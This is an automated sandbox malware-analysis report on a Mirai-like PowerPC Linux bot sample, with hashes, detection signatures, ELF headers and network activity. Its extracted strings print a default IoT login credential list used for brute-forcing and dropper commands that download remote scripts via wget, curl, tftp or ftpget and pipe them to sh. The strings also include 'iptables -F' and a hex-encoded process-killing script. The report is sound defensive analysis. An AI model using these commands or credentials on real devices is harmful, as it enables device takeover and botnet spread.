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Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name:la.bot.powerpc.elf
Analysis ID:1561831
MD5:b8ee89fc3418cbbc6488714aca79c36f
SHA1:1ec279dff1c65166130036955a6bc123b881204b
SHA256:5c6a9d95a778a5dd6c70d60549f7669ed8dfcaa7104e9bb2fd80c2c9fa0a2349
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1561831
Start date and time:2024-11-24 11:52:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 21s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.powerpc.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.powerpc.elf
Command:/tmp/la.bot.powerpc.elf
PID:5429
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.powerpc.elf (PID: 5429, Parent: 5355, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/la.bot.powerpc.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.powerpc.elfReversingLabs: Detection: 28%
Source: la.bot.powerpc.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elfString: /proc/self/exe/. /proc//proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.powerpc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.powerpc.elf (PID: 5429)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.powerpc.elfString found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: (usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.powerpc.elf (PID: 5429)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 5429.1.00007fd8e0023000.00007fd8e002a000.rw-.sdmpBinary or memory string: VMware
Source: la.bot.powerpc.elf, 5429.1.00007ffddc7a8000.00007ffddc7c9000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 5429.1.000056353322f000.00005635332df000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 5429.1.000056353322f000.00005635332df000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 5429.1.00007ffddc7a8000.00007ffddc7c9000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc
Source: la.bot.powerpc.elf, 5429.1.00007fd8e0023000.00007fd8e002a000.rw-.sdmpBinary or memory string: QEMU7U
Source: la.bot.powerpc.elf, 5429.1.00007ffddc7a8000.00007ffddc7c9000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
la.bot.powerpc.elf29%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.powerpc.elffalse
      high
      http:///curl.shla.bot.powerpc.elffalse
        high
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comla.bot.sh4.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.m68k.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.24
        m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        Mozi.m.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.24
        sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.173449302362774
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.powerpc.elf
        File size:72'700 bytes
        MD5:b8ee89fc3418cbbc6488714aca79c36f
        SHA1:1ec279dff1c65166130036955a6bc123b881204b
        SHA256:5c6a9d95a778a5dd6c70d60549f7669ed8dfcaa7104e9bb2fd80c2c9fa0a2349
        SHA512:8ca8d04e63cb5e6231093b5864ca996bb3c1b9cee9bd5a2dc1faba35dba58490dfa2e00eb4f5573c2d593ece49f55875715ab6c23b7f7a807fc737273a8cd5a1
        SSDEEP:1536:t2vDuCCw9uDbJA7KVTEkiqCEvIjePMn8sTQ:UvDuCCUwo4LLvI6MnU
        TLSH:92633C43731C4907C2A71DB0293B17E097B75AD223A0B385661F774D85B2E37A90AEED
        File Content Preview:.ELF...........................4.........4. ...(.......................d...d...............h...h...h...h..E.........dt.Q.............................!..|......$H...H..1...$8!. |...N.. .!..|.......?..........d..../...@..\?........+../...A..$8...})......N..

        ELF header

        Class:ELF32
        Data:2's complement, big endian
        Version:1 (current)
        Machine:PowerPC
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x100001f0
        Flags:0x0
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:72220
        Section Header Size:40
        Number of Section Headers:12
        Header String Table Index:11
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x100000940x940x240x00x6AX004
        .textPROGBITS0x100000b80xb80xf5880x00x6AX004
        .finiPROGBITS0x1000f6400xf6400x200x00x6AX004
        .rodataPROGBITS0x1000f6600xf6600x20040x00x2A004
        .ctorsPROGBITS0x100216680x116680x80x00x3WA004
        .dtorsPROGBITS0x100216700x116700x80x00x3WA004
        .dataPROGBITS0x100216800x116800x3340x00x3WA008
        .sdataPROGBITS0x100219b40x119b40x1c0x00x3WA004
        .sbssNOBITS0x100219d00x119d00x940x00x3WA004
        .bssNOBITS0x10021a640x119d00x41fc0x00x3WA004
        .shstrtabSTRTAB0x00x119d00x4b0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x100000000x100000000x116640x116646.20380x5R E0x10000.init .text .fini .rodata
        LOAD0x116680x100216680x100216680x3680x45f83.86160x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
        GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
        TimestampSource PortDest PortSource IPDest IP
        Nov 24, 2024 11:52:57.336397886 CET3392553192.168.2.138.8.8.8
        Nov 24, 2024 11:52:57.336469889 CET3811253192.168.2.138.8.8.8
        Nov 24, 2024 11:52:57.458982944 CET53339258.8.8.8192.168.2.13
        Nov 24, 2024 11:52:57.459076881 CET53381128.8.8.8192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Nov 24, 2024 11:52:57.336397886 CET192.168.2.138.8.8.80x730cStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Nov 24, 2024 11:52:57.336469889 CET192.168.2.138.8.8.80x3a36Standard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Nov 24, 2024 11:52:57.458982944 CET8.8.8.8192.168.2.130x730cNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Nov 24, 2024 11:52:57.458982944 CET8.8.8.8192.168.2.130x730cNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):10:52:54
        Start date (UTC):24/11/2024
        Path:/tmp/la.bot.powerpc.elf
        Arguments:/tmp/la.bot.powerpc.elf
        File size:5388968 bytes
        MD5 hash:ae65271c943d3451b7f026d1fadccea6